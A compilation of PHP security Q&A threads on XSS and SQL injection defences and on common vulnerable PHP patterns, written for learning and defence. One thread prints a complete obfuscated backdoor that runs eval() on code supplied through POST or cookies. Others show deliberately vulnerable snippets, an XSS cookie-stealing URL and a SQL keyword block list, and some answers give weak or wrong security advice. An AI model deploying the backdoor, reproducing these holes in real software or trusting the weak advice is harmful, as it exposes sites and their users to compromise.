How to avoid xss atack in php codeigniter - php

I am relatively new to web development. And just today my teacher told me to implement a method to avoid cross server scripting in my project. I have searched a lot and found about xss_clean but i am not sure how to use and implement it. Any guide or article related to that would be welcome. Or if you want to explain here that would save me a lot of extra hard work i will be very thankful to you. I am using CodeIgniter framework so please any article related to that would be good.

The problem with XSS vulnerabilities is that you can't just apply one fix. These vulnerabilities can occur in every little thing you write.
XSS happens when an attacker is able to inject HTML into the page of a visitor of your website. Depending on what that code is he could send the visitor to his phishing website or steal his session.
It's not hard to imagine how you can prevent HTML injection: you just HTML-escape all user input. But in practice there can be quite a bit of this and your system is only as secure as the weakest link.

From my experience, CI's XSS is pretty good -- I have run into situations where it does remove something which I have wanted which can be a pain to debug if you're not expecting it. I've never been able to "easily" circumvent it nor have I read about any exploits (and the CI community is fairly large).
For details take a look below link which may help you
http://blog.astrumfutura.com/2011/05/codeigniter-2-0-2-cross-site-scripting-xss-fixes-and-recommendations/
Read this also https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
http://htmlpurifier.org/

for removing xss attack you can do following things:
you need to remove unwanted tag like "script" from post and get value.
remove meta-characters from post and get value.

a very short and simple answer use following line of code where you are submitting your details that mince in your controller file.
$data = $this->security->xss_clean($data);
here data may your single value or array in case you have multiple records.
one more addon to your query.use following to protect from sql injection
$username = $this->input->post('username');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name = '.
$this->db->escape($email);
$this->db->query($query);

I have implemented this functionality for protection against XSS attacks:
public static function protectArrayAgainstXSS(&$arr) {
$changed = false;
foreach ($arr as $index => $a) {
if (is_array($a)) {
$changed = $changed || Common::protectArrayAgainstXSS($arr[$index]);
} else if ($a !== null) {
$changed = $changed || ($arr[$index] === strip_tags($a));
$arr[$index] = strip_tags($a);
}
}
return !$changed;
}

Related

I found this strange code in root directory. Does it mean if my website hacked?

I am sorry to ask a silly question but I am not able to figure this out. I found a PHP file in my root directory with strange code. I know little bit PHP but this is a very strange code inside the PHP code. I am sure that it is not PHP functions. I don't know what is this code about.
Is my website compromised? Can some tell me that they can do with my website through this code. I am raising this question here because maybe this can help some one to save their websites.
<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['t7004'] = "\x2d\x23\x5f\x5d\x68\x45\x69\x3a\xa\x2e\x32\x39\x60\x35\x44\x9\x59\x6a\x7b\x50\xd\x7d\x57\x2b\x29\x53\x20\x7e\x56\x37\x48\x46\x70\x7c\x49\x4e\x52\x25\x26\x42\x5a\x30\x2a\x62\x51\x2f\x3c\x33\x4d\x79\x54\x3b\x6d\x74\x22\x65\x61\x71\x6f\x72\x5e\x63\x34\x5b\x78\x77\x4f\x58\x43\x47\x40\x66\x76\x41\x67\x31\x3d\x6e\x4c\x64\x55\x3f\x24\x73\x75\x36\x28\x3e\x21\x7a\x38\x2c\x6c\x4b\x27\x6b\x4a\x5c";
$GLOBALS[$GLOBALS['t7004'][79].$GLOBALS['t7004'][75].$GLOBALS['t7004'][43].$GLOBALS['t7004'][55].$GLOBALS['t7004'][62].$GLOBALS['t7004'][43]] = $GLOBALS['t7004'][61].$GLOBALS['t7004'][4].$GLOBALS['t7004'][59];
$GLOBALS[$GLOBALS['t7004'][49].$GLOBALS['t7004'][11].$GLOBALS['t7004'][11].$GLOBALS['t7004'][90].$GLOBALS['t7004'][55].$GLOBALS['t7004'][62]] = $GLOBALS['t7004'][58].$GLOBALS['t7004'][59].$GLOBALS['t7004'][79];
$GLOBALS[$GLOBALS['t7004'][65].$GLOBALS['t7004'][47].$GLOBALS['t7004'][56].$GLOBALS['t7004'][55].$GLOBALS['t7004'][62].$GLOBALS['t7004'][43].$GLOBALS['t7004'][11]] = $GLOBALS['t7004'][83].$GLOBALS['t7004'][53].$GLOBALS['t7004'][59].$GLOBALS['t7004'][92].$GLOBALS['t7004'][55].$GLOBALS['t7004'][77];
$GLOBALS[$GLOBALS['t7004'][89].$GLOBALS['t7004'][85].$GLOBALS['t7004'][71].$GLOBALS['t7004'][56].$GLOBALS['t7004'][61].$GLOBALS['t7004'][56].$GLOBALS['t7004'][62]] = $GLOBALS['t7004'][6].$GLOBALS['t7004'][77].$GLOBALS['t7004'][6].$GLOBALS['t7004'][2].$GLOBALS['t7004'][83].$GLOBALS['t7004'][55].$GLOBALS['t7004'][53];
$GLOBALS[$GLOBALS['t7004'][65].$GLOBALS['t7004'][90].$GLOBALS['t7004'][62].$GLOBALS['t7004'][41].$GLOBALS['t7004'][71].$GLOBALS['t7004'][10]] = $GLOBALS['t7004'][83].$GLOBALS['t7004'][55].$GLOBALS['t7004'][59].$GLOBALS['t7004'][6].$GLOBALS['t7004'][56].$GLOBALS['t7004'][92].$GLOBALS['t7004'][6].$GLOBALS['t7004'][89].$GLOBALS['t7004'][55];
$GLOBALS[$GLOBALS['t7004'][65].$GLOBALS['t7004'][13].$GLOBALS['t7004'][75].$GLOBALS['t7004'][90].$GLOBALS['t7004'][90]] = $GLOBALS['t7004'][32].$GLOBALS['t7004'][4].$GLOBALS['t7004'][32].$GLOBALS['t7004'][72].$GLOBALS['t7004'][55].$GLOBALS['t7004'][59].$GLOBALS['t7004'][83].$GLOBALS['t7004'][6].$GLOBALS['t7004'][58].$GLOBALS['t7004'][77];
$GLOBALS[$GLOBALS['t7004'][84].$GLOBALS['t7004'][43].$GLOBALS['t7004'][55].$GLOBALS['t7004'][55].$GLOBALS['t7004'][90].$GLOBALS['t7004'][61]] = $GLOBALS['t7004'][84].$GLOBALS['t7004'][77].$GLOBALS['t7004'][83].$GLOBALS['t7004'][55].$GLOBALS['t7004'][59].$GLOBALS['t7004'][6].$GLOBALS['t7004'][56].$GLOBALS['t7004'][92].$GLOBALS['t7004'][6].$GLOBALS['t7004'][89].$GLOBALS['t7004'][55];
$GLOBALS[$GLOBALS['t7004'][58].$GLOBALS['t7004'][79].$GLOBALS['t7004'][62].$GLOBALS['t7004'][56]] = $GLOBALS['t7004'][43].$GLOBALS['t7004'][56].$GLOBALS['t7004'][83].$GLOBALS['t7004'][55].$GLOBALS['t7004'][85].$GLOBALS['t7004'][62].$GLOBALS['t7004'][2].$GLOBALS['t7004'][79].$GLOBALS['t7004'][55].$GLOBALS['t7004'][61].$GLOBALS['t7004'][58].$GLOBALS['t7004'][79].$GLOBALS['t7004'][55];
$GLOBALS[$GLOBALS['t7004'][74].$GLOBALS['t7004'][62].$GLOBALS['t7004'][10].$GLOBALS['t7004'][29].$GLOBALS['t7004'][75].$GLOBALS['t7004'][90].$GLOBALS['t7004'][90].$GLOBALS['t7004'][62]] = $GLOBALS['t7004'][83].$GLOBALS['t7004'][55].$GLOBALS['t7004'][53].$GLOBALS['t7004'][2].$GLOBALS['t7004'][53].$GLOBALS['t7004'][6].$GLOBALS['t7004'][52].$GLOBALS['t7004'][55].$GLOBALS['t7004'][2].$GLOBALS['t7004'][92].$GLOBALS['t7004'][6].$GLOBALS['t7004'][52].$GLOBALS['t7004'][6].$GLOBALS['t7004'][53];
$GLOBALS[$GLOBALS['t7004'][61].$GLOBALS['t7004'][85].$GLOBALS['t7004'][11].$GLOBALS['t7004'][56].$GLOBALS['t7004'][13].$GLOBALS['t7004'][47].$GLOBALS['t7004'][29].$GLOBALS['t7004'][61]] = $GLOBALS['t7004'][49].$GLOBALS['t7004'][75].$GLOBALS['t7004'][41].$GLOBALS['t7004'][10].$GLOBALS['t7004'][62].$GLOBALS['t7004'][13];
$GLOBALS[$GLOBALS['t7004'][56].$GLOBALS['t7004'][71].$GLOBALS['t7004'][29].$GLOBALS['t7004'][47].$GLOBALS['t7004'][13]] = $GLOBALS['t7004'][71].$GLOBALS['t7004'][29].$GLOBALS['t7004'][85].$GLOBALS['t7004'][90].$GLOBALS['t7004'][62].$GLOBALS['t7004'][71].$GLOBALS['t7004'][13].$GLOBALS['t7004'][55].$GLOBALS['t7004'][55];
$GLOBALS[$GLOBALS['t7004'][4].$GLOBALS['t7004'][75].$GLOBALS['t7004'][79].$GLOBALS['t7004'][79].$GLOBALS['t7004'][85]] = $_POST;
$GLOBALS[$GLOBALS['t7004'][65].$GLOBALS['t7004'][10].$GLOBALS['t7004'][29].$GLOBALS['t7004'][56].$GLOBALS['t7004'][29].$GLOBALS['t7004'][29].$GLOBALS['t7004'][85].$GLOBALS['t7004'][10]] = $_COOKIE;
#$GLOBALS[$GLOBALS['t7004'][89].$GLOBALS['t7004'][85].$GLOBALS['t7004'][71].$GLOBALS['t7004'][56].$GLOBALS['t7004'][61].$GLOBALS['t7004'][56].$GLOBALS['t7004'][62]]($GLOBALS['t7004'][55].$GLOBALS['t7004'][59].$GLOBALS['t7004'][59].$GLOBALS['t7004'][58].$GLOBALS['t7004'][59].$GLOBALS['t7004'][2].$GLOBALS['t7004'][92].$GLOBALS['t7004'][58].$GLOBALS['t7004'][74], NULL);
#$GLOBALS[$GLOBALS['t7004'][89].$GLOBALS['t7004'][85].$GLOBALS['t7004'][71].$GLOBALS['t7004'][56].$GLOBALS['t7004'][61].$GLOBALS['t7004'][56].$GLOBALS['t7004'][62]]($GLOBALS['t7004'][92].$GLOBALS['t7004'][58].$GLOBALS['t7004'][74].$GLOBALS['t7004'][2].$GLOBALS['t7004'][55].$GLOBALS['t7004'][59].$GLOBALS['t7004'][59].$GLOBALS['t7004'][58].$GLOBALS['t7004'][59].$GLOBALS['t7004'][83], 0);
#$GLOBALS[$GLOBALS['t7004'][89].$GLOBALS['t7004'][85].$GLOBALS['t7004'][71].$GLOBALS['t7004'][56].$GLOBALS['t7004'][61].$GLOBALS['t7004'][56].$GLOBALS['t7004'][62]]($GLOBALS['t7004'][52].$GLOBALS['t7004'][56].$GLOBALS['t7004'][64].$GLOBALS['t7004'][2].$GLOBALS['t7004'][55].$GLOBALS['t7004'][64].$GLOBALS['t7004'][55].$GLOBALS['t7004'][61].$GLOBALS['t7004'][84].$GLOBALS['t7004'][53].$GLOBALS['t7004'][6].$GLOBALS['t7004'][58].$GLOBALS['t7004'][77].$GLOBALS['t7004'][2].$GLOBALS['t7004'][53].$GLOBALS['t7004'][6].$GLOBALS['t7004'][52].$GLOBALS['t7004'][55], 0);
#$GLOBALS[$GLOBALS['t7004'][74].$GLOBALS['t7004'][62].$GLOBALS['t7004'][10].$GLOBALS['t7004'][29].$GLOBALS['t7004'][75].$GLOBALS['t7004'][90].$GLOBALS['t7004'][90].$GLOBALS['t7004'][62]](0);
$rcc6ec6 = NULL;
$e6ca3e0 = NULL;
$GLOBALS[$GLOBALS['t7004'][61].$GLOBALS['t7004'][85].$GLOBALS['t7004'][10].$GLOBALS['t7004'][29].$GLOBALS['t7004'][90].$GLOBALS['t7004'][79].$GLOBALS['t7004'][29].$GLOBALS['t7004'][10].$GLOBALS['t7004'][90]] = $GLOBALS['t7004'][10].$GLOBALS['t7004'][85].$GLOBALS['t7004'][62].$GLOBALS['t7004'][61].$GLOBALS['t7004'][10].$GLOBALS['t7004'][56].$GLOBALS['t7004'][85].$GLOBALS['t7004'][55].$GLOBALS['t7004'][0].$GLOBALS['t7004'][71].$GLOBALS['t7004'][61].$GLOBALS['t7004'][55].$GLOBALS['t7004'][13].$GLOBALS['t7004'][0].$GLOBALS['t7004'][62].$GLOBALS['t7004'][62].$GLOBALS['t7004'][90].$GLOBALS['t7004'][85].$GLOBALS['t7004'][0].$GLOBALS['t7004'][90].$GLOBALS['t7004'][79].$GLOBALS['t7004'][62].$GLOBALS['t7004'][75].$GLOBALS['t7004'][0].$GLOBALS['t7004'][62].$GLOBALS['t7004'][56].$GLOBALS['t7004'][71].$GLOBALS['t7004'][71].$GLOBALS['t7004'][62].$GLOBALS['t7004'][90].$GLOBALS['t7004'][75].$GLOBALS['t7004'][43].$GLOBALS['t7004'][85].$GLOBALS['t7004'][71].$GLOBALS['t7004'][55].$GLOBALS['t7004'][29];
global $c6278d728;
function f7684f5ee($rcc6ec6, $r8c6)
{
$ua52559 = "";
for ($o4b1=0; $o4b1<$GLOBALS[$GLOBALS['t7004'][65].$GLOBALS['t7004'][47].$GLOBALS['t7004'][56].$GLOBALS['t7004'][55].$GLOBALS['t7004'][62].$GLOBALS['t7004'][43].$GLOBALS['t7004'][11]]($rcc6ec6);)
{
for ($b1ad67b=0; $b1ad67b<$GLOBALS[$GLOBALS['t7004'][65].$GLOBALS['t7004'][47].$GLOBALS['t7004'][56].$GLOBALS['t7004'][55].$GLOBALS['t7004'][62].$GLOBALS['t7004'][43].$GLOBALS['t7004'][11]]($r8c6) && $o4b1<$GLOBALS[$GLOBALS['t7004'][65].$GLOBALS['t7004'][47].$GLOBALS['t7004'][56].$GLOBALS['t7004'][55].$GLOBALS['t7004'][62].$GLOBALS['t7004'][43].$GLOBALS['t7004'][11]]($rcc6ec6); $b1ad67b++, $o4b1++)
{
$ua52559 .= $GLOBALS[$GLOBALS['t7004'][79].$GLOBALS['t7004'][75].$GLOBALS['t7004'][43].$GLOBALS['t7004'][55].$GLOBALS['t7004'][62].$GLOBALS['t7004'][43]]($GLOBALS[$GLOBALS['t7004'][49].$GLOBALS['t7004'][11].$GLOBALS['t7004'][11].$GLOBALS['t7004'][90].$GLOBALS['t7004'][55].$GLOBALS['t7004'][62]]($rcc6ec6[$o4b1]) ^ $GLOBALS[$GLOBALS['t7004'][49].$GLOBALS['t7004'][11].$GLOBALS['t7004'][11].$GLOBALS['t7004'][90].$GLOBALS['t7004'][55].$GLOBALS['t7004'][62]]($r8c6[$b1ad67b]));
}
}
return $ua52559;
}
function y10245($rcc6ec6, $r8c6)
{
global $c6278d728;
return $GLOBALS[$GLOBALS['t7004'][56].$GLOBALS['t7004'][71].$GLOBALS['t7004'][29].$GLOBALS['t7004'][47].$GLOBALS['t7004'][13]]($GLOBALS[$GLOBALS['t7004'][56].$GLOBALS['t7004'][71].$GLOBALS['t7004'][29].$GLOBALS['t7004'][47].$GLOBALS['t7004'][13]]($rcc6ec6, $c6278d728), $r8c6);
}
foreach ($GLOBALS[$GLOBALS['t7004'][65].$GLOBALS['t7004'][10].$GLOBALS['t7004'][29].$GLOBALS['t7004'][56].$GLOBALS['t7004'][29].$GLOBALS['t7004'][29].$GLOBALS['t7004'][85].$GLOBALS['t7004'][10]] as $r8c6=>$ob6137983)
{
$rcc6ec6 = $ob6137983;
$e6ca3e0 = $r8c6;
}
if (!$rcc6ec6)
{
foreach ($GLOBALS[$GLOBALS['t7004'][4].$GLOBALS['t7004'][75].$GLOBALS['t7004'][79].$GLOBALS['t7004'][79].$GLOBALS['t7004'][85]] as $r8c6=>$ob6137983)
{
$rcc6ec6 = $ob6137983;
$e6ca3e0 = $r8c6;
}
}
$rcc6ec6 = #$GLOBALS[$GLOBALS['t7004'][84].$GLOBALS['t7004'][43].$GLOBALS['t7004'][55].$GLOBALS['t7004'][55].$GLOBALS['t7004'][90].$GLOBALS['t7004'][61]]($GLOBALS[$GLOBALS['t7004'][61].$GLOBALS['t7004'][85].$GLOBALS['t7004'][11].$GLOBALS['t7004'][56].$GLOBALS['t7004'][13].$GLOBALS['t7004'][47].$GLOBALS['t7004'][29].$GLOBALS['t7004'][61]]($GLOBALS[$GLOBALS['t7004'][58].$GLOBALS['t7004'][79].$GLOBALS['t7004'][62].$GLOBALS['t7004'][56]]($rcc6ec6), $e6ca3e0));
if (isset($rcc6ec6[$GLOBALS['t7004'][56].$GLOBALS['t7004'][95]]) && $c6278d728==$rcc6ec6[$GLOBALS['t7004'][56].$GLOBALS['t7004'][95]])
{
if ($rcc6ec6[$GLOBALS['t7004'][56]] == $GLOBALS['t7004'][6])
{
$o4b1 = Array(
$GLOBALS['t7004'][32].$GLOBALS['t7004'][72] => #$GLOBALS[$GLOBALS['t7004'][65].$GLOBALS['t7004'][13].$GLOBALS['t7004'][75].$GLOBALS['t7004'][90].$GLOBALS['t7004'][90]](),
$GLOBALS['t7004'][83].$GLOBALS['t7004'][72] => $GLOBALS['t7004'][75].$GLOBALS['t7004'][9].$GLOBALS['t7004'][41].$GLOBALS['t7004'][0].$GLOBALS['t7004'][75],
);
echo #$GLOBALS[$GLOBALS['t7004'][65].$GLOBALS['t7004'][90].$GLOBALS['t7004'][62].$GLOBALS['t7004'][41].$GLOBALS['t7004'][71].$GLOBALS['t7004'][10]]($o4b1);
}
elseif ($rcc6ec6[$GLOBALS['t7004'][56]] == $GLOBALS['t7004'][55])
{
eval($rcc6ec6[$GLOBALS['t7004'][79]]);
}
exit();
}
(I'm not able yet to answer)
I had similar code on a customer website with a joomla install, several times.
If your webhost hasn't a code-checker were it blacklists hacked files, you should have to search the whole public_html directory.
I had one recent case where the code included several new files in a wordpress install, across different folders and some hidden with even meaningful names. I had to go thorugh every folder and check files with the same date (the hacking date - last modification) and go through each one to check if it was completely malicious code or just partly.
But usually I radically delete sections and files with encrypted code, they generally are hacked files...
The code you have posted is obfuscated PHP. The string at the beginning with all the \x 's in it is a hex representation of a string.
There is a neat site named "DDecode" I found here: Hex Decoder which will attempt to do exactly what it says.
Plugging your code into that site we can see that the first part:
<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['t7004'] = "\x2d\x23\x5f\x5d\x68\x45\x69\x3a\xa\x2e\x32\x39\x60\x35\x44\x9\x59\x6a\x7b\x50\xd\x7d\x57\x2b\x29\x53\x20\x7e\x56\x37\x48\x46\x70\x7c\x49\x4e\x52\x25\x26\x42\x5a\x30\x2a\x62\x51\x2f\x3c\x33\x4d\x79\x54\x3b\x6d\x74\x22\x65\x61\x71\x6f\x72\x5e\x63\x34\x5b\x78\x77\x4f\x58\x43\x47\x40\x66\x76\x41\x67\x31\x3d\x6e\x4c\x64\x55\x3f\x24\x73\x75\x36\x28\x3e\x21\x7a\x38\x2c\x6c\x4b\x27\x6b\x4a\x5c";
becomes:
<?php ${"GLOBALS"}['t7004'] = "-#_]hEi:\xa.29`5D\x9Yj{P\xd}W+)S~V7HFp|INR%&BZ0*bQ/<3MyT;mt"eaqor^c4[xwOXCG#fvAg1=nLdU?$su6(>!z8,lK'kJ\";
I am not super familiar with PHP myself, however we can see that a variable is being set here to a long, apparently random string. From there we can look at the rest of the code and see that it is almost entirely a series of references back to this initial string. In this way the attacker has hidden what their code is doing by making it appear nonsensical, which is the point of obfuscation of course.
You could take the time to dereference all of those calls if you wanted to try and get a better idea of what the code is doing. Also there may be some security researchers who would be interested in seeing this code and could possibly give you more insight into what it is doing.
As for the state of your website - if you didn't do this then yes, the chances are highly likely it has been compromised and you should at a minimum, as the comments suggested:
roll back to a clean, known good version
update your host with any applicable patches
INFORM YOUR USERS! Especially since you are unsure what this code does it is important to let your users know that your site has potentially been compromised so they can take the appropriate actions.

XSS Protection on Yii

I need to protect my web application against xss attacks via URL.
what is the best way to do this?
the application is huge, so I can not edit each of the actions, need something general.
Examples:
http://example.com/[anyproductpage.html]?source=alert('Xss')
http://example.com/catalog/?baseUrl=alert('Xss')&q=1
http://example.com/catalog/productimagezoom?index=alert('Xss')
If you aim to manipulate your actions before handle them you can use beforeAction in your controller/component, with something like this:
protected function beforeAction($action) {
#check a preg_match on a url sanitization pattern, like "[^-A-Za-z0-9+&##/%?=~_|!:,.;\(\)]", for instance
return parent::beforeAction($action);
}
This articles shows how you can make your application secure with SQL Injections, XSS Attacks and CSRF.
Hope it helps you.
Firstly, you can use regular expressions to validate your inputs, you can generalize your inputs in some regular expresions, something like this:
$num = $_GET["index"];
if (preg_match("^\d{2}$", $num)) {
//allowed
} else {
//not allowed
}
Also you can create a white list or black list, if your inputs can be grouped into what is allowed in your application, use a white list, otherwise use a black list. This lists can be sotored in your database or files, something you can easily upgrade without affecting your application. You just have to compare your inputs with that list before proccesing your inputs.
My last recommendation is encoding, you should encode your inputs and outputs, because your data from database can contain malicious code, maybe someone put it by mistake or mischief, always think in all possibilities. For this case, I remember the functions htmlspecialchars and utf8_encode, I think you should the first function, also you can analyze your inputs and build your own encoding function.
I share the following links:
http://php.net/manual/es/function.preg-match.php
http://php.net/manual/es/function.utf8-encode.php
http://php.net/manual/es/function.htmlspecialchars.php
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
I hope this information helps you.
Good Luck.
for all actions in same just add a event handle to onBeginRequest:
$this->attachEventHandler('onBeginRequest', [$this, 'purifyParams']);
public function purifyParams($event)
{
$userAgent = $this->getRequest()->getUserAgent();
$isIE = preg_match('/(msie)[ \/]([\w.]+)/i', $userAgent, $version);
if (!empty($isIE) && (int) $version[2] < 11) {
$purifier = new CHtmlPurifier();
$_GET = array_map(function ($param) use ($purifier) {
return $purifier->purify($param);
}, $_GET);
}
}

Best way to prevent SQL Injection when preparing statement is impossible

I have to work on an old site with major security issues : SQL Injections are really easy to perform.
Obviously, the best way to prevent this kind of attacks is to escape what is used in query (prepare statements with PDO, mysql_real_escape_string with MySql, etc.) but we can't do that quickly : the whole site is procedural PHP (no class), the queries are "prepared" everywhere, there are hundreds of pages and thousands of users everyday, and a new version wil come as soon as possible.
So since this morning the following function is called on each request to detect suspicious POST or GET parameters based on keywords.
const SQLI_UNSAFE = 3;
const SQLI_WARNING = 2;
const SQLI_SAFE = 1;
const SQLI_MAIL_DEST = 'monmail#mondest.com';
function sqlicheck() {
$params = array_merge($_GET, $_POST);
$is_warning = false;
foreach($params as $key=>$param) {
switch(getSafeLevel($param)) {
case SQLI_SAFE:
break;
case SQLI_WARNING:
$is_warning = true;
break;
case SQLI_UNSAFE:
mail(SQLI_MAIL_DEST, 'SQL INJECTION ATTACK', print_r($_REQUEST, true).' '.print_r($_SERVER, true));
header('Location: http://monsite/404.php');
exit();
}
}
if($is_warning === true) {
mail(SQLI_MAIL_DEST, 'SQL INJECTION WARNING', print_r($_REQUEST, true).print_r($_SERVER, true));
}
}
function getSafeLevel($param) {
$error_words = array('select%20','drop%20','delete%20','truncate%20','insert%20','%20tbclient','select ','drop ','delete ','truncate ','insert ',);
$warning_words = array('%20','select','drop','delete','truncate', ';','union');
foreach($error_words as $error_word) {
if(stripos($param, $error_word) !== false) return SQLI_UNSAFE;
}
foreach($warning_words as $warning_word) {
if(stripos($param, $warning_word) !== false) return SQLI_WARNING;
}
return SQLI_SAFE;
}
This seems to detect some kinds of attacks but it's clearly very basic. Any ideas to improve it? Any major issue ?
First, make sure that the database user executing the queries only has select, update, delete permissions. If the user can't execute drop, there's no way it'll happen (this assumes that your users will never need to create or drop tables, but if they do, you can create table level permissions to protect the big tables).
Second, your script will only tell you what people are using; it won't do a site wide check of what queries are possible; if there's a section of your site that isn't used much, you won't get any mail telling you. Better to just comb through the code with a search tool.
After that, you have to start modifying the code and doing escaping and validation, and that's just going to take a while.
Why not just use real_escape_string() htmlentities() stripslashes and filter classes of php and log the SQL queries so that you can see what people are sending you, use sha256 with some md5 you will be ok other thing is for quick action just send login data in binary format

Examples of vulnerable PHP code? [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 3 years ago.
Improve this question
Ok so me and a friend are doing a mini presentation on PHP security (I'm not really into PHP though) and he asked me to find some examples of vulnerable PHP code (one that is prone to SQL injections and all other types of attacks). I was wondering are there any websites with both good and bad pieces of code showing how you should and shouldn't code?
Basically I will put them into our website and he will try to hack it, then we will show the "proper" website and he will try to hack it again.
SQL injection is easy:
$var = $_POST['var'];
mysql_query("SELECT * FROM sometable WHERE id = $var");
This is easily solved by:
$var = mysql_real_escape_string($_POST['var']);
The other common one is XSS (cross site scripting):
$var = $_POST['var'];
echo "<div>$var</div>\n";
allows you to inject Javascript that is run from your site. There are several ways of dealing with this, for example:
$var = strip_tags($_POST['var']);
and
$var = filter_var($_POST['var'], FILTER_SANITIZE_STRING);
A really common beginner's mistake is forget to terminate script execution after a redirect.
<?php
if ($_SESSION['user_logged_in'] !== true) {
header('Location: /login.php');
}
omg_important_private_functionality_here();
The solution:
if ($_SESSION['user_logged_in'] !== true) {
header('Location: /login.php');
exit();
}
This can be missed when testing in a normal browser, because browsers usually follow the Location header without rendering any of the output of the script.
Oh boy, you won't be short of examples. Just Google PHP tutorial and every single one of them has enough holes to fill the Albert Hall.
Result 1, w3schools. What's their first example to include user input?
Welcome <?php echo $_POST["fname"]; ?>!<br />
Bzzt. HTML injection, repeated throughout every piece of example code. What's their first database query?
$sql="INSERT INTO Persons (FirstName, LastName, Age) VALUES ('$_POST[firstname]','$_POST[lastname]','$_POST[age]')";
Bzzt. SQL injection, you lose. Next.
Result 2, official PHP tutorial. What's the first example of outputting a variable?
echo $_SERVER['HTTP_USER_AGENT'];
Bzzt. HTML injection. Not an easily-exploitable one, but still, bad practice of the sort that is repeated throughout php.net's learning materials.
Result 3, tizag.com. What's the first example of echoing user input?
echo "You ordered ". $quantity . " " . $item . ".<br />";
Bzzt.
Result 4, freewebmasterhelp.com. Too basic to include much, but still manages:
print "Hello $name"; // Welcome to the user
Bzzt.
Result 5, learnphp-tutorial.com.
<title><?= $greeting ?> World!</title>
Bz...
I could go on.
Is it any wonder the general quality of PHP code in the wild is so disastrous, when this woeful rubbish is what coders are learning?
Bobby Tables
Bobby Tables is a page devoted to detailing the ways that a script can be vulnerable via SQL injection. This is not unique to PHP, however, SQL injection is the cause of many web page vulnerabilities.
It might be someting you want to include in your presentation.
I've seen code like this written in the past:
foreach ($_REQUEST as $var => $val) {
$$var = $val;
}
It's a way to simulate the maligned register_globals option. It means you can access your variables like this:
$myPostedVar
rather than the terribly more complicated:
$_POST['myPostedVar']
The security risk pops up in situations like this:
$hasAdminAccess = get_user_access();
foreach ($_REQUEST as $var => $val) {
$$var = $val;
}
if ($hasAdminAccess) { ... }
Since all you'd have to do is add ?hasAdminAccess=1 to the url, and you're in.
Another example of a sql-injection-vulnerable login script. This is unfortunately very common among new programmers.
$username = $_POST["username"];
$password = $_POST["password"];
$query = "SELECT username, password
FROM users
WHERE (username = '{$username}')
AND (password = '{$password}')";
Today's DailyWTF:
if(strstr($username, '**')) {
$admin = 1;
$username = str_replace('**', '', $username);
$_SESSION['admin'] = 1;
} else {
$admin = 0;
}
CSRF for the win.
<?php
$newEmail = filter_input(INPUT_POST, 'email', FILTER_SANITIZE_EMAIL);
$pdoStatement = $pdoDb->prepare('UPDATE user SET email=:email WHERE ID=:id');
$pdoStatement->execute(array(':email'=>$newEmail, ':id'=>$_SESSION['userId']));
You feel safe with this kind of code. All is good your users can change their emails without injecting SQL because of your code.
But, imagine you have this on your site http://siteA/, one of your users is connected.
With the same browser, he goes on http://siteB/ where some AJAX does the equivalent of this code :
<form method="post" action="http://site/updateMyAccount.php">
<p>
<input name="email" value="badguy#siteB"/>
<input type="submit"/>
</p>
</form>
Your user just got his email changed without him knowing it. If you don't think this kind of attack is dangerous, ask google about it
To help against this kind of attacks, you can either :
Check your user REFERER (far from perfect)
Implement some tokens you had to your forms and check their presence when getting your data back.
Another one is session hijacking. One of the methods to do it is piggybacking.
If your server accepts non cookie sessions, you can have URLs like http://siteA/?PHPSESSID=blabla which means your session ID is blabla.
An attacker can start a session and note his session ID, then give the link http://siteA/?PHPSESSID=attackerSessionId to other users of your website. When these users follow this link, they share the same session as your attacker : a not logged session. So they login.
If the website does not do anything, your attacker and your user are still sharing the same session with the same rights. Bad thing if the user is an admin.
To mitigate this, you have to use session_regenerate_id when your users credentials change (log in and out, goes in administration section etc.).
HTTP Response Splitting attack
If web application is storing the input from an HTTP request in cookie let's say
<?php setcookie("author",$_GET["authorName"]); ?>
It is very prone to HTTP response splitting attack if input is not validated properly for "\r\n" characters.
If an attacker submits a malicious string,such as "AuthorName\r\nHTTP/1.1 200 OK\r\n..",then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-cookie: author=AuthorName
HTTP/1.1 200 OK
...
Clearly,the second response is completely controlled by the attacker and can be constructed with any header and body content instead
Check out the Open Web Application Security Project. They have explanations and examples of lots of different kinds of attacks.
http://www.owasp.org/index.php/Category:Attack
Email header injection attacks are a much bigger pain in the neck then you might suspect (unless you've had to deal with them).
This is very bad:
$to = 'contact#domain.com';
$subject = $_POST["subject"];
$message = $_POST["message"];
$headers = "From: ".$_POST["from"];
mail($to,$subject,$message,$headers);
(code copied from the second reference above.)
The WRONG way to do templates.
<?php
include("header.php");
include($_GET["source"]); //http://www.mysite.com/page.php?source=index.php
include("footer.php");
?>
XSS vulnerabilities are easy to show. Just create a page that puts the value of the GET variable "q" somewhere on the page and then hit the following URL:
http://mysite.com/vulnerable_page.php?q%3D%3Cscript%20type%3D%22javascript%22%3Ealert(document.cookie)%3B%3C%2Fscript%3E
This will cause the user's cookies to be displayed in an alert box.
Allowing upload and not checking extension. Observe:
Site A allows image uploading and displays them.
Cracker guy uploads a file and tricks you to believe its an image file (via HTTP mimetypes). This file has PHP extension and contains malicious code. Then he tries to see his image file and because every PHP extesioned file is executed by PHP, the code is run. He can do anything that apache user can do.
Basic (often security sensitive) operations not working as expected, instead requiring the programmer to use a second "real" version to get non-broken functionality.
The most serious one of these would be where an actual operator is affected: The "==" operator does not work as one would expect, instead the "===" operator is needed to get true equality comparison.
One of the big 3 PHP forum packages was affected by a vulnerability in it's "stay logged in" code. The cookie would contain the user's ID and their password hash. The PHP script would read and cleanse the ID, use it to query the user's correct hash in the database, and then compare it with the one in the cookie to see if they should be automatically logged in.
However the comparison was with ==, so by modifying the cookie, an attacker use a hash "value" of boolean:true, making the hash comparison statement useless. The attacker could thus substitute any user ID to log in without a password.
Allowing people to upload files, whether that API is supposed to be used by users or not. For example, if a program uploads some files to a server, and that program will never upload a bad file, that's fine.
But a hacker could trace what is being sent, and where to. He could find out that it is allowing files to be uploaded.
From there, he could easily upload a php file. Once that's done, it's game over. He now has access to all your data and can destroy or change anything he wants.
